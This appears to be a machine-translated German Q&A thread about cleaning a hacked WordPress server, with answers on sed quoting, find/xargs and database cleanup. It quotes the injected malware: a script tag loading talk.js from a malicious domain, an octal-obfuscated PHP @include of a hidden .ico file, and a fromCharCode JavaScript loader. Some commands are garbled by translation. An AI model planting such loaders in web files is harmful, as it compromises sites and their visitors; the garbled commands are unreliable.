Also wurde mein ganzer Server gehackt oder bekam das Malware-Problem. Meine Website basiert auf WordPress und die meisten auf meinem Server gehosteten Websites basieren auf WordPress. Der Hacker fügte diese Codezeile jeder einzelnen Datei und Datenbank hinzu
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Ich habe es über grep mit gesucht
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Ich versuche, es in der gesamten Dateistruktur durch zu ersetzen, sed
und habe den folgenden Befehl geschrieben.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Ich versuche zuerst, die Zeichenfolge in einer einzelnen Datei zu ersetzen index.php
, damit ich weiß, dass sie funktioniert.
und ich weiß, dass mein Code falsch ist. Bitte helfen Sie mir dabei.
Ich habe es mit dem @ Eran-Code versucht und er hat die gesamte Zeile gelöscht, was gut und wie erwartet ist. Der gesamte Jargon ist dies jedoch
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Und während ich den gesamten Inhalt löschen möchte, möchte ich das PHP-Eröffnungs-Tag behalten <?php
.
Obwohl die Lösung von @ slybloty einfach ist und funktioniert hat.
So entfernen Sie den Code vollständig aus allen betroffenen Dateien. Ich führe die folgenden 3 Befehle aus. Vielen Dank an euch alle dafür.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Entfernen der Skriptzeilefind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Um die@include
Linie zu entfernenfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Um die Kommentarzeile zu entfernen
Außerdem habe ich alle 3 Befehle für erneut ausgeführt '*.html'
, da das Hacker-Skript in allen Verzeichnissen eine unerwünschte index.html erstellt hat. Ich war mir nicht sicher, ob das Löschen dieser index.html in großen Mengen der richtige Ansatz ist.
Jetzt muss ich noch die Junk-Dateien und Spuren davon herausfinden.
Das Hacker-Skript fügte auch den JS-Code hinzu.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Ich versuche zu sehen, ob ich sed
es auch kann.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
Die-l
Option gibt nur den Dateinamen und nicht den passenden Text an.sed -i
. Erstellt beispielsweisesed -i.bak
eine*.bak
Datei für alle Dateien, die bearbeitet werden. Bei Verwendung mit derwhile...grep
Schleife sichern Sie nur Dateien, die diese Zeichenfolge enthalten. Entschuldigen Sie die zusätzlichen Kommentare, aber meiner Meinung nach ist Malware ein "All Hands on Deck" -Szenario.Antworten:
Verwenden Sie doppelte Anführungszeichen (
"
) für die Zeichenfolge und entkommen Sie weder den einfachen Anführungszeichen ('
) noch den Tags (<>
). Entkomme nur den Schrägstrichen (/
).quelle
Unabhängig davon, für welche Methode Sie sich bei sed entscheiden, können Sie mehrere Prozesse gleichzeitig für mehrere Dateien mit perfekten Filteroptionen mit
find
und ausführenxargs
. Zum Beispiel:Es wird:
find
- finden-type f
- nur Dateien-name '*.txt'
- das ende mit php-print0
- Pritn sie durch Null Bytes getrennt| xargs -0
- für jede durch Null-Byte getrennte Datei-P7
- 7 Prozesse gleichzeitig ausführen-n1
- für jede Dateised
- für jede Datei sed ausgeführt-i
- Bearbeiten Sie die Datei an Ort und Stelle'...'
- das sed-Skript, das Sie aus anderen Antworten ausführen möchten.Möglicherweise möchten Sie eine
-t
Option hinzufügenxargs
, um den Fortschritt anzuzeigen. Siehe man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).quelle
Einfache Anführungszeichen werden buchstäblich ohne Escapezeichen verwendet. In
var='hello\''
haben Sie ein nicht geschlossenes Angebot.Um dieses Problem zu beheben, 1) Verwenden Sie doppelte Anführungszeichen, um den
sed
Befehl zu umgeben, ODER 2) Beenden Sie die Zeichenfolge in einfachen Anführungszeichen und fügen Sie hinzu\'
die Anführungszeichenfolge und öffnen Sie sie erneut.Die zweite Methode ist jedoch verwirrender.
Darüber hinaus
sed
kann jedes Trennzeichen getrennte Befehle verwenden. Da die Befehle Schrägstriche enthalten, ist die Verwendung von Kommas einfacher. Zum Beispiel mit der ersten Methode:Mit der zweiten Methode:
Dieses Beispiel ist eher lehrreich als praktisch. So
'\''
funktioniert es:Erstens
'
: Beenden Sie die aktuell zitierte Literalzeichenfolge\'
: Geben Sie ein einfaches Anführungszeichen als wörtliches Zeichen einZweitens
'
: Geben Sie die Literalzeichenfolge in Anführungszeichen erneut einSolange dort keine Leerzeichen vorhanden sind, setzen Sie Ihren
sed
Befehl fort. Diese Idee ist einzigartig fürbash
.Ich lasse die Flucht
<
und>
drin, weil ich nicht ganz sicher bin, wofür Sie das verwenden.sed
verwendet das\<
und\>
, um Wortübereinstimmung zu bedeuten. Ich bin mir nicht sicher, ob das beabsichtigt ist oder nicht.Wenn dies mit nichts übereinstimmt, möchten Sie wahrscheinlich vermeiden, dem
<
und zu entkommen>
.Bearbeiten: Eine praktischere Lösung für das eigentliche Problem finden Sie in den Kommentaren unter @ EranBen-Natans Lösung. Meine Antwort ist eher eine Ressource dafür, warum OP mit seinem ursprünglichen Befehl zu mehr Eingaben aufgefordert wurde.
Lösung für die Bearbeitung 2
Damit dies funktioniert, gehe ich davon aus, dass Sie
sed
die nicht standardmäßige Option haben-z
. GNU-Version vonsed
sollte dies haben. Ich gehe auch davon aus, dass dieser Code immer in dem Format erscheint, das 6 Zeilen lang istSo funktioniert es: Wir verwenden den Anfang der fromCharCode-Zeile, um alles abzugleichen.
-z
teilt die Datei auf Nullen anstatt auf neue Zeilen. Dadurch können wir direkt nach Zeilenvorschüben suchen.[^\n]*\n
- Dies stimmt mit allem bis zu einem Zeilenvorschub überein und stimmt dann mit dem Zeilenvorschub überein, wodurch ein gieriger Regex-Abgleich vermieden wird. Da wir nicht in Zeilenvorschübe (-z
) aufteilen, entspricht der reguläre Ausdruckvar pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n
der größtmöglichen Übereinstimmung. Wenn Sie beispielsweise\n}\n
irgendwo weiter unten in der Datei erscheinen, löschen Sie den gesamten Code zwischen dort und dem Schadcode. Wenn Sie diese Sequenz also sechsmal wiederholen, werden wir mit dem Ende der ersten Zeile sowie den nächsten 5 Zeilen übereinstimmen.grep -lr
- Nur eine Rekursive,grep
bei der nur die Dateien aufgelistet werden, die das passende Muster haben. Auf diese Weisesed
wird nicht jede Datei bearbeitet. Ohne dies würde-i.bak
(nicht einfach-i
) ein Chaos verursachen.quelle
rsync
Sichern und Wiederherstellen verwenden.Haben Sie das wp-mail-smtp Plugin installiert? Wir haben die gleiche Malware und wir hatten etwas Seltsames drin
wp-content/plugins/wp-mail-smtp/src/Debug.php
.Außerdem befindet sich der Javascript-Link in jedem
post_content
Feld derwp_posts
WordPress-Datenbank.quelle
super-socialat
Überprüfen Sie dies ebenfalls.Ich habe heute das Gleiche bekommen, bei allen Seitenbeiträgen wurde dieses böse Virenskript hinzugefügt
Ich habe es von der Datenbank durch deaktiviert
Ich habe zumindest keine infizierten Dateien
habe nichts gefunden, aber ich habe keine Ahnung, wie dies in die Datenbank kam, aus der ich überhaupt nicht ruhig bin.
Diese Infektion verursachte Weiterleitungen auf Seiten, Chrom erkennt und blockiert dies meistens. Ich habe nichts Seltsames in - /wp-mail-smtp/src/Debug.php bemerkt
quelle
Ich habe heute das Gleiche, bei allen Seitenbeiträgen wurde das Skript hinzugefügt. Ich habe erfolgreich mit ihnen umgegangen, indem ich das https://en.wordpress.org/plugins/search-and-replace/ plugin verwendet habe.
Darüber hinaus habe ich auch einen Datensatz in der folgenden Spalte der wp_posts-Tabelle post_content gefunden:
und manuell gelöscht.
quelle
Für mich hat das funktioniert:
Sie müssen suchen nach: * .js, * .json, * .map
quelle